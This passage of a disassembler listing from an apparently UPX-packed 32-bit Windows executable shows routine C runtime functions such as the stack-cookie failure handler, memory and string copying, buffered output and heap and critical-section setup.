sub_4019F2:loc_401B5Dp ... mov ecx, [ebp-0Ch] mov large fs:0, ecx pop ecx pop edi pop edi pop esi pop ebx mov esp, ebp pop ebp push ecx retn sub_40C50C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40C520 proc near ; CODE XREF: sub_401304+111p ; sub_4080FF:loc_408291p ... mov ecx, [ebp-10h] xor ecx, ebp call sub_40AC1C jmp sub_40C50C sub_40C520 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C52F proc near ; CODE XREF: sub_40AC1C:loc_40AC26j var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = dword ptr -320h arg_0 = byte ptr 8 mov edi, edi push ebp mov ebp, esp sub esp, 328h mov dword_42E508, eax mov dword_42E504, ecx mov dword_42E500, edx mov dword_42E4FC, ebx mov dword_42E4F8, esi mov dword_42E4F4, edi mov word_42E520, ss mov word_42E514, cs mov word_42E4F0, ds mov word_42E4EC, es mov word_42E4E8, fs mov word_42E4E4, gs pushf pop dword_42E518 mov eax, [ebp+0] mov dword_42E50C, eax mov eax, [ebp+4] mov dword_42E510, eax lea eax, [ebp+arg_0] mov dword_42E51C, eax mov eax, [ebp+var_320] mov dword_42E458, 10001h mov eax, dword_42E510 mov dword_42E40C, eax mov dword_42E400, 0C0000409h mov dword_42E404, 1 mov eax, dword_42A034 mov [ebp+var_328], eax mov eax, dword_42A038 mov [ebp+var_324], eax call dword_41D1A8 ; IsDebuggerPresent mov dword_42E450, eax push 1 call sub_40E0C0 pop ecx push 0 call dword_41D1AC ; SetUnhandledExceptionFilter push offset off_41D5AC call dword_41D1B0 ; UnhandledExceptionFilter cmp dword_42E450, 0 jnz short loc_40C621 push 1 call sub_40E0C0 pop ecx loc_40C621: ; CODE XREF: sub_40C52F+E8j push 0C0000409h call dword_41D214 ; GetCurrentProcess push eax call dword_41D1B4 ; TerminateProcess leave retn sub_40C52F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C635 proc near ; CODE XREF: sub_40C8AB+B6p ; sub_40C8AB+D3p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch mov edi, edi push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_4] push esi call sub_411ACB mov [ebp+arg_4], eax mov eax, [esi+0Ch] pop ecx test al, 82h jnz short loc_40C667 call sub_40C862 mov dword ptr [eax], 9 loc_40C65B: ; CODE XREF: sub_40C635+41j or dword ptr [esi+0Ch], 20h or eax, 0FFFFFFFFh jmp loc_40C796 ; --------------------------------------------------------------------------- loc_40C667: ; CODE XREF: sub_40C635+19j test al, 40h jz short loc_40C678 call sub_40C862 mov dword ptr [eax], 22h jmp short loc_40C65B ; --------------------------------------------------------------------------- loc_40C678: ; CODE XREF: sub_40C635+34j push ebx xor ebx, ebx test al, 1 jz short loc_40C695 mov [esi+4], ebx test al, 10h jz loc_40C711 mov ecx, [esi+8] and eax, 0FFFFFFFEh mov [esi], ecx mov [esi+0Ch], eax loc_40C695: ; CODE XREF: sub_40C635+48j mov eax, [esi+0Ch] and eax, 0FFFFFFEFh or eax, 2 mov [esi+0Ch], eax mov [esi+4], ebx mov [ebp+var_4], ebx test eax, 10Ch jnz short loc_40C6DA call sub_411916 add eax, 20h cmp esi, eax jz short loc_40C6C6 call sub_411916 add eax, 40h cmp esi, eax jnz short loc_40C6D3 loc_40C6C6: ; CODE XREF: sub_40C635+83j push [ebp+arg_4] call sub_4118B2 pop ecx test eax, eax jnz short loc_40C6DA loc_40C6D3: ; CODE XREF: sub_40C635+8Fj push esi call sub_411869 pop ecx loc_40C6DA: ; CODE XREF: sub_40C635+77j ; sub_40C635+9Cj test dword ptr [esi+0Ch], 108h push edi jz loc_40C768 mov eax, [esi+8] mov edi, [esi] lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] sub edi, eax dec ecx cmp edi, ebx mov [esi+4], ecx jle short loc_40C71C push edi push eax push [ebp+arg_4] call sub_41178D add esp, 0Ch mov [ebp+var_4], eax jmp short loc_40C75E ; --------------------------------------------------------------------------- loc_40C711: ; CODE XREF: sub_40C635+4Fj or eax, 20h mov [esi+0Ch], eax or eax, 0FFFFFFFFh jmp short loc_40C795 ; --------------------------------------------------------------------------- loc_40C71C: ; CODE XREF: sub_40C635+C8j mov ecx, [ebp+arg_4] cmp ecx, 0FFFFFFFFh jz short loc_40C73F cmp ecx, 0FFFFFFFEh jz short loc_40C73F mov eax, ecx and eax, 1Fh mov edx, ecx sar edx, 5 shl eax, 6 add eax, dword_430160[edx*4] jmp short loc_40C744 ; --------------------------------------------------------------------------- loc_40C73F: ; CODE XREF: sub_40C635+EDj ; sub_40C635+F2j mov eax, offset dword_42A3E0 loc_40C744: ; CODE XREF: sub_40C635+108j test byte ptr [eax+4], 20h jz short loc_40C75E push 2 push ebx push ebx push ecx call sub_410F41 and eax, edx add esp, 10h cmp eax, 0FFFFFFFFh jz short loc_40C783 loc_40C75E: ; CODE XREF: sub_40C635+DAj ; sub_40C635+113j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_40C77E ; --------------------------------------------------------------------------- loc_40C768: ; CODE XREF: sub_40C635+ADj xor edi, edi inc edi push edi lea eax, [ebp+arg_0] push eax push [ebp+arg_4] call sub_41178D add esp, 0Ch mov [ebp+var_4], eax loc_40C77E: ; CODE XREF: sub_40C635+131j cmp [ebp+var_4], edi jz short loc_40C78C loc_40C783: ; CODE XREF: sub_40C635+127j or dword ptr [esi+0Ch], 20h or eax, 0FFFFFFFFh jmp short loc_40C794 ; --------------------------------------------------------------------------- loc_40C78C: ; CODE XREF: sub_40C635+14Cj mov eax, [ebp+arg_0] and eax, 0FFh loc_40C794: ; CODE XREF: sub_40C635+155j pop edi loc_40C795: ; CODE XREF: sub_40C635+E5j pop ebx loc_40C796: ; CODE XREF: sub_40C635+2Dj pop esi leave retn sub_40C635 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C799 proc near ; CODE XREF: sub_40F0F5+10p ; sub_411DC7+Fp ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] push esi mov esi, ecx mov byte ptr [esi+0Ch], 0 test eax, eax jnz short loc_40C80F call sub_40E38F mov [esi+8], eax mov ecx, [eax+6Ch] mov [esi], ecx mov ecx, [eax+68h] mov [esi+4], ecx mov ecx, [esi] cmp ecx, off_42ACD8 jz short loc_40C7DB mov ecx, dword_42ABF4 test [eax+70h], ecx jnz short loc_40C7DB call sub_41248F mov [esi], eax loc_40C7DB: ; CODE XREF: sub_40C799+2Ej ; sub_40C799+39j mov eax, [esi+4] cmp eax, dword_42AAF8 jz short loc_40C7FC mov eax, [esi+8] mov ecx, dword_42ABF4 test [eax+70h], ecx jnz short loc_40C7FC call sub_411D23 mov [esi+4], eax loc_40C7FC: ; CODE XREF: sub_40C799+4Bj ; sub_40C799+59j mov eax, [esi+8] test byte ptr [eax+70h], 2 jnz short loc_40C819 or dword ptr [eax+70h], 2 mov byte ptr [esi+0Ch], 1 jmp short loc_40C819 ; --------------------------------------------------------------------------- loc_40C80F: ; CODE XREF: sub_40C799+11j mov ecx, [eax] mov [esi], ecx mov eax, [eax+4] mov [esi+4], eax loc_40C819: ; CODE XREF: sub_40C799+6Aj ; sub_40C799+74j mov eax, esi pop esi pop ebp retn 4 sub_40C799 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C820 proc near ; CODE XREF: sub_40ADC8+80p ; sub_40B8A1+182p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] xor ecx, ecx loc_40C82A: ; CODE XREF: sub_40C820+17j cmp eax, dword_42A040[ecx*8] jz short loc_40C846 inc ecx cmp ecx, 2Dh jb short loc_40C82A lea ecx, [eax-13h] cmp ecx, 11h ja short loc_40C84F push 0Dh pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_40C846: ; CODE XREF: sub_40C820+11j mov eax, dword_42A044[ecx*8] pop ebp retn ; --------------------------------------------------------------------------- loc_40C84F: ; CODE XREF: sub_40C820+1Fj add eax, 0FFFFFF44h push 0Eh pop ecx cmp ecx, eax sbb eax, eax and eax, ecx add eax, 8 pop ebp retn sub_40C820 endp ; =============== S U B R O U T I N E ======================================= sub_40C862 proc near ; CODE XREF: sub_40AC49:loc_40AC5Ep ; sub_40AC49+3Ap ... call sub_40E316 test eax, eax jnz short loc_40C871 mov eax, offset dword_42A1A8 retn ; --------------------------------------------------------------------------- loc_40C871: ; CODE XREF: sub_40C862+7j add eax, 8 retn sub_40C862 endp ; =============== S U B R O U T I N E ======================================= sub_40C875 proc near ; CODE XREF: sub_40C888+6p ; sub_410F41+1Dp ... call sub_40E316 test eax, eax jnz short loc_40C884 mov eax, offset dword_42A1AC retn ; --------------------------------------------------------------------------- loc_40C884: ; CODE XREF: sub_40C875+7j add eax, 0Ch retn sub_40C875 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C888 proc near ; CODE XREF: sub_40B866+21p ; sub_410EBC+5Ap ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp push esi call sub_40C875 mov ecx, [ebp+arg_0] push ecx mov [eax], ecx call sub_40C820 pop ecx mov esi, eax call sub_40C862 mov [eax], esi pop esi pop ebp retn sub_40C888 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C8AB proc near ; CODE XREF: sub_40C9A3+56p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch mov edi, edi push ebp mov ebp, esp sub esp, 20h push ebx xor ebx, ebx cmp [ebp+arg_C], ebx jnz short loc_40C8DB call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40B255 add esp, 14h or eax, 0FFFFFFFFh jmp loc_40C9A0 ; --------------------------------------------------------------------------- loc_40C8DB: ; CODE XREF: sub_40C8AB+Ej push esi mov esi, [ebp+arg_4] push edi mov edi, [ebp+arg_8] cmp edi, ebx jz short loc_40C90B cmp esi, ebx jnz short loc_40C90B call sub_40C862 push ebx push ebx push ebx push ebx push ebx mov dword ptr [eax], 16h call sub_40B255 add esp, 14h or eax, 0FFFFFFFFh jmp loc_40C99E ; --------------------------------------------------------------------------- loc_40C90B: ; CODE XREF: sub_40C8AB+3Aj ; sub_40C8AB+3Ej mov [ebp+var_14], 42h mov [ebp+var_18], esi mov [ebp+var_20], esi cmp edi, 3FFFFFFFh jbe short loc_40C929 mov [ebp+var_1C], 7FFFFFFFh jmp short loc_40C92F ; --------------------------------------------------------------------------- loc_40C929: ; CODE XREF: sub_40C8AB+73j lea eax, [edi+edi] mov [ebp+var_1C], eax loc_40C92F: ; CODE XREF: sub_40C8AB+7Cj push [ebp+arg_14] lea eax, [ebp+var_20] push [ebp+arg_10] push [ebp+arg_C] push eax call [ebp+arg_0] add esp, 10h mov [ebp+arg_C], eax cmp esi, ebx jz short loc_40C99E cmp eax, ebx jl short loc_40C98F dec [ebp+var_1C] js short loc_40C95C mov eax, [ebp+var_20] mov [eax], bl inc [ebp+var_20] jmp short loc_40C96D ; --------------------------------------------------------------------------- loc_40C95C: ; CODE XREF: sub_40C8AB+A5j lea eax, [ebp+var_20] push eax push ebx call sub_40C635 pop ecx pop ecx cmp eax, 0FFFFFFFFh jz short loc_40C98F loc_40C96D: ; CODE XREF: sub_40C8AB+AFj dec [ebp+var_1C] js short loc_40C979 mov eax, [ebp+var_20] mov [eax], bl jmp short loc_40C98A ; --------------------------------------------------------------------------- loc_40C979: ; CODE XREF: sub_40C8AB+C5j lea eax, [ebp+var_20] push eax push ebx call sub_40C635 pop ecx pop ecx cmp eax, 0FFFFFFFFh jz short loc_40C98F loc_40C98A: ; CODE XREF: sub_40C8AB+CCj mov eax, [ebp+arg_C] jmp short loc_40C99E ; --------------------------------------------------------------------------- loc_40C98F: ; CODE XREF: sub_40C8AB+A0j ; sub_40C8AB+C0j ... xor eax, eax cmp [ebp+var_1C], ebx mov [esi+edi*2-2], ax setnl al dec eax dec eax loc_40C99E: ; CODE XREF: sub_40C8AB+5Bj ; sub_40C8AB+9Cj ... pop edi pop esi loc_40C9A0: ; CODE XREF: sub_40C8AB+2Bj pop ebx leave retn sub_40C8AB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C9A3 proc near ; CODE XREF: sub_40AC2B+14p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h mov edi, edi push ebp mov ebp, esp push esi xor esi, esi cmp [ebp+arg_8], esi jnz short loc_40C9CD call sub_40C862 push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call sub_40B255 add esp, 14h or eax, 0FFFFFFFFh jmp short loc_40CA2B ; --------------------------------------------------------------------------- loc_40C9CD: ; CODE XREF: sub_40C9A3+Bj push edi mov edi, [ebp+arg_0] cmp edi, esi jz short loc_40C9DA cmp [ebp+arg_4], esi ja short loc_40C9E7 loc_40C9DA: ; CODE XREF: sub_40C9A3+30j call sub_40C862 mov dword ptr [eax], 16h jmp short loc_40CA1A ; --------------------------------------------------------------------------- loc_40C9E7: ; CODE XREF: sub_40C9A3+35j push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push edi push offset sub_4128E7 call sub_40C8AB add esp, 18h cmp eax, esi jge short loc_40CA0A xor ecx, ecx mov [edi], cx loc_40CA0A: ; CODE XREF: sub_40C9A3+60j cmp eax, 0FFFFFFFEh jnz short loc_40CA2A call sub_40C862 mov dword ptr [eax], 22h loc_40CA1A: ; CODE XREF: sub_40C9A3+42j push esi push esi push esi push esi push esi call sub_40B255 add esp, 14h or eax, 0FFFFFFFFh loc_40CA2A: ; CODE XREF: sub_40C9A3+6Aj pop edi loc_40CA2B: ; CODE XREF: sub_40C9A3+28j pop esi pop ebp retn sub_40C9A3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CA30 proc near ; CODE XREF: sub_40AC49+4Fp ; sub_40D00C+2DCp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_40CA50 cmp edi, eax jb loc_40CBF4 loc_40CA50: ; CODE XREF: sub_40CA30+16j cmp ecx, 100h jb short loc_40CA77 cmp dword_430144, 0 jz short loc_40CA77 push edi push esi and edi, 0Fh and esi, 0Fh cmp edi, esi pop esi pop edi jnz short loc_40CA77 pop esi pop edi pop ebp jmp sub_41350E ; --------------------------------------------------------------------------- loc_40CA77: ; CODE XREF: sub_40CA30+26j ; sub_40CA30+2Fj ... test edi, 3 jnz short loc_40CA94 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40CAB4 rep movsd jmp off_40CBA4[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40CA94: ; CODE XREF: sub_40CA30+4Dj mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_40CAAC and eax, 3 add ecx, eax jmp dword ptr loc_40CAB4+4[eax*4] ; --------------------------------------------------------------------------- loc_40CAAC: ; CODE XREF: sub_40CA30+6Ej jmp dword ptr loc_40CBB4[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40CAB4: ; CODE XREF: sub_40CA30+58j ; sub_40CA30+B6j ... jmp off_40CB38[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40CAC8 dd offset loc_40CAF4 dd offset loc_40CB18 ; --------------------------------------------------------------------------- loc_40CAC8: ; DATA XREF: sub_40CA30+8Co and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_40CAB4 rep movsd jmp off_40CBA4[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40CAF4: ; DATA XREF: sub_40CA30+90o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_40CAB4 rep movsd jmp off_40CBA4[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40CB18: ; DATA XREF: sub_40CA30+94o and edx, ecx mov al, [esi] mov [edi], al add esi, 1 shr ecx, 2 add edi, 1 cmp ecx, 8 jb short loc_40CAB4 rep movsd jmp off_40CBA4[edx*4] ; --------------------------------------------------------------------------- align 4 off_40CB38 dd offset loc_40CB9B ; DATA XREF: sub_40CA30:loc_40CAB4r dd offset loc_40CB88 dd offset loc_40CB80 dd offset loc_40CB78 dd offset loc_40CB70 dd offset loc_40CB68 dd offset loc_40CB60 dd offset loc_40CB58 ; --------------------------------------------------------------------------- loc_40CB58: ; CODE XREF: sub_40CA30:loc_40CAB4j ; DATA XREF: sub_40CA30+124o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_40CB60: ; CODE XREF: sub_40CA30:loc_40CAB4j ; DATA XREF: sub_40CA30+120o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_40CB68: ; CODE XREF: sub_40CA30:loc_40CAB4j ; DATA XREF: sub_40CA30+11Co mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_40CB70: ; CODE XREF: sub_40CA30:loc_40CAB4j ; DATA XREF: sub_40CA30+118o mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_40CB78: ; CODE XREF: sub_40CA30:loc_40CAB4j ; DATA XREF: sub_40CA30+114o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_40CB80: ; CODE XREF: sub_40CA30:loc_40CAB4j ; DATA XREF: sub_40CA30+110o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_40CB88: ; CODE XREF: sub_40CA30:loc_40CAB4j ; DATA XREF: sub_40CA30+10Co mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40CB9B: ; CODE XREF: sub_40CA30:loc_40CAB4j ; DATA XREF: sub_40CA30:off_40CB38o jmp off_40CBA4[edx*4] ; --------------------------------------------------------------------------- align 4 off_40CBA4 dd offset loc_40CBB4 ; DATA XREF: sub_40CA30+5Cr ; sub_40CA30+BAr ... dd offset loc_40CBBC dd offset loc_40CBC8 dd offset loc_40CBDC ; --------------------------------------------------------------------------- loc_40CBB4: ; CODE XREF: sub_40CA30+5Cj ; sub_40CA30+BAj ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40CBBC: ; CODE XREF: sub_40CA30+5Cj ; sub_40CA30+BAj ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40CBC8: ; CODE XREF: sub_40CA30+5Cj ; sub_40CA30+BAj ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40CBDC: ; CODE XREF: sub_40CA30+5Cj ; sub_40CA30+BAj ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40CBF4: ; CODE XREF: sub_40CA30+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_40CC28 shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_40CC1C std rep movsd cld jmp off_40CD40[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40CC1C: ; CODE XREF: sub_40CA30+1DDj ; sub_40CA30+238j ... neg ecx jmp off_40CCF0[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_40CC28: ; CODE XREF: sub_40CA30+1D2j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_40CC40 and eax, 3 sub ecx, eax jmp dword ptr loc_40CC40+4[eax*4] ; --------------------------------------------------------------------------- loc_40CC40: ; CODE XREF: sub_40CA30+202j ; DATA XREF: sub_40CA30+209r jmp off_40CD40[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40CC54 dd offset loc_40CC78 dd offset loc_40CCA0 ; --------------------------------------------------------------------------- loc_40CC54: ; DATA XREF: sub_40CA30+218o mov al, [esi+3] and edx, ecx mov [edi+3], al sub esi, 1 shr ecx, 2 sub edi, 1 cmp ecx, 8 jb short loc_40CC1C std rep movsd cld jmp off_40CD40[edx*4] ; --------------------------------------------------------------------------- align 4 loc_40CC78: ; DATA XREF: sub_40CA30+21Co mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_40CC1C std rep movsd cld jmp off_40CD40[edx*4] ; --------------------------------------------------------------------------- align 10h loc_40CCA0: ; DATA XREF: sub_40CA30+220o mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_40CC1C std rep movsd cld jmp off_40CD40[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_40CCF4 dd offset loc_40CCFC dd offset loc_40CD04 dd offset loc_40CD0C dd offset loc_40CD14 dd offset loc_40CD1C dd offset loc_40CD24 off_40CCF0 dd offset loc_40CD37 ; DATA XREF: sub_40CA30+1EEr ; --------------------------------------------------------------------------- loc_40CCF4: ; DATA XREF: sub_40CA30+2A4o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_40CCFC: ; DATA XREF: sub_40CA30+2A8o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_40CD04: ; DATA XREF: sub_40CA30+2ACo mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_40CD0C: ; DATA XREF: sub_40CA30+2B0o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_40CD14: ; DATA XREF: sub_40CA30+2B4o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_40CD1C: ; DATA XREF: sub_40CA30+2B8o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_40CD24: ; DATA XREF: sub_40CA30+2BCo mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_40CD37: ; CODE XREF: sub_40CA30+1EEj ; DATA XREF: sub_40CA30:off_40CCF0o jmp off_40CD40[edx*4] ; --------------------------------------------------------------------------- align 10h off_40CD40 dd offset loc_40CD50 ; DATA XREF: sub_40CA30+1E3r ; sub_40CA30:loc_40CC40r ... dd offset loc_40CD58 dd offset loc_40CD68 dd offset loc_40CD7C ; --------------------------------------------------------------------------- loc_40CD50: ; CODE XREF: sub_40CA30+1E3j ; sub_40CA30:loc_40CC40j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40CD58: ; CODE XREF: sub_40CA30+1E3j ; sub_40CA30:loc_40CC40j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40CD68: ; CODE XREF: sub_40CA30+1E3j ; sub_40CA30:loc_40CC40j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_40CD7C: ; CODE XREF: sub_40CA30+1E3j ; sub_40CA30:loc_40CC40j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_40CA30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD95 proc near ; CODE XREF: sub_40ACB7+35p ; sub_40AD27+41p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h mov edi, edi push ebp mov ebp, esp mov ecx, [ebp+arg_0] push ebx xor ebx, ebx push esi push edi cmp ecx, ebx jz short loc_40CDAD mov edi, [ebp+arg_4] cmp edi, ebx ja short loc_40CDC8 loc_40CDAD: ; CODE XREF: sub_40CD95+Fj ; sub_40CD95+3Cj call sub_40C862 push 16h pop esi mov [eax], esi loc_40CDB7: ; CODE XREF: sub_40CD95+5Fj push ebx push ebx push ebx push ebx push ebx call sub_40B255 add esp, 14h mov eax, esi jmp short loc_40CDF8 ; --------------------------------------------------------------------------- loc_40CDC8: ; CODE XREF: sub_40CD95+16j mov esi, [ebp+arg_8] cmp esi, ebx jnz short loc_40CDD3 mov [ecx], bl jmp short loc_40CDAD ; --------------------------------------------------------------------------- loc_40CDD3: ; CODE XREF: sub_40CD95+38j mov edx, ecx loc_40CDD5: ; CODE XREF: sub_40CD95+4Bj mov al, [esi] mov [edx], al inc edx inc esi cmp al, bl jz short loc_40CDE2 dec edi jnz short loc_40CDD5 loc_40CDE2: ; CODE XREF: sub_40CD95+48j cmp edi, ebx jnz short loc_40CDF6 mov [ecx], bl call sub_40C862 push 22h pop ecx mov [eax], ecx mov esi, ecx jmp short loc_40CDB7 ; --------------------------------------------------------------------------- loc_40CDF6: ; CODE XREF: sub_40CD95+4Fj xor eax, eax loc_40CDF8: ; CODE XREF: sub_40CD95+31j pop edi pop esi pop ebx pop ebp retn sub_40CD95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CDFD proc near ; CODE XREF: UPX0:0040BC25p arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp xor eax, eax cmp [ebp+arg_0], eax push 0 setz al push 1000h push eax call dword_41D18C ; HeapCreate mov dword_42E724, eax test eax, eax jnz short loc_40CE23 pop ebp retn ; --------------------------------------------------------------------------- loc_40CE23: ; CODE XREF: sub_40CDFD+22j xor eax, eax inc eax mov dword_430290, eax pop ebp retn sub_40CDFD endp ; =============== S U B R O U T I N E ======================================= sub_40CE2D proc near ; CODE XREF: sub_40E4D8+115p mov edi, edi push esi push edi xor esi, esi mov edi, offset dword_42E728 loc_40CE38: ; CODE XREF: sub_40CE2D+37j cmp dword_42A1BC[esi*8], 1 jnz short loc_40CE60 lea eax, ds:42A1B8h[esi*8] mov [eax], edi push 0FA0h push dword ptr [eax] add edi, 18h call sub_413600 pop ecx pop ecx test eax, eax jz short loc_40CE6C loc_40CE60: ; CODE XREF: sub_40CE2D+13j inc esi cmp esi, 24h jl short loc_40CE38 xor eax, eax inc eax loc_40CE69: ; CODE XREF: sub_40CE2D+49j pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40CE6C: ; CODE XREF: sub_40CE2D+31j and off_42A1B8[esi*8], 0 xor eax, eax jmp short loc_40CE69 sub_40CE2D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_40E1F2 loc_40CE78: ; CODE XREF: sub_40E1F2:loc_40E22Aj mov edi, edi push ebx mov ebx, dword_41D1C8 push esi mov esi, offset off_42A1B8 push edi loc_40CE88: ; CODE XREF: sub_40E1F2-1348j mov edi, [esi] test edi, edi jz short loc_40CEA1 cmp dword ptr [esi+4], 1 jz short loc_40CEA1 push edi call ebx ; dword_41D1C8 push edi call sub_40ADC8 and dword ptr [esi], 0 pop ecx loc_40CEA1: ; CODE XREF: sub_40E1F2-1366j ; sub_40E1F2-1360j add esi, 8 cmp esi, offset dword_42A2D8 jl short loc_40CE88 mov esi, offset off_42A1B8 pop edi loc_40CEB2: ; CODE XREF: sub_40E1F2-1328j mov eax, [esi] test eax, eax jz short loc_40CEC1 cmp dword ptr [esi+4], 1 jnz short loc_40CEC1 push eax call ebx ; dword_41D1C8 loc_40CEC1: ; CODE XREF: sub_40E1F2-133Cj ; sub_40E1F2-1336j add esi, 8 cmp esi, offset dword_42A2D8 jl short loc_40CEB2 pop esi pop ebx retn ; END OF FUNCTION CHUNK FOR sub_40E1F2 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CECF proc near ; CODE XREF: sub_40AE1E+2p ; sub_40AE9C+2p ... arg_0 = dword ptr 8 mov edi, edi push ebp mov ebp, esp mov eax, [ebp+arg_0] push off_42A1B8[eax*8] call dword_41D204 ; RtlLeaveCriticalSection pop ebp retn sub_40CECF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEE6 proc near ; CODE XREF: sub_40CFA9+16p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_4268E0 call __SEH_prolog4 xor edi, edi inc edi mov [ebp+var_1C], edi xor ebx, ebx cmp dword_42E724, ebx jnz short loc_40CF1A call sub_40DF83 push 1Eh call sub_40DDD8 push 0FFh call sub_40DB24 pop ecx pop ecx loc_40CF1A: ; CODE XREF: sub_40CEE6+1Aj mov esi, [ebp+arg_0] lea esi, ds:42A1B8h[esi*8] cmp [esi], ebx jz short loc_40CF2C mov eax, edi jmp short loc_40CF9A ; --------------------------------------------------------------------------- loc_40CF2C: ; CODE XREF: sub_40CEE6+40j push 18h call 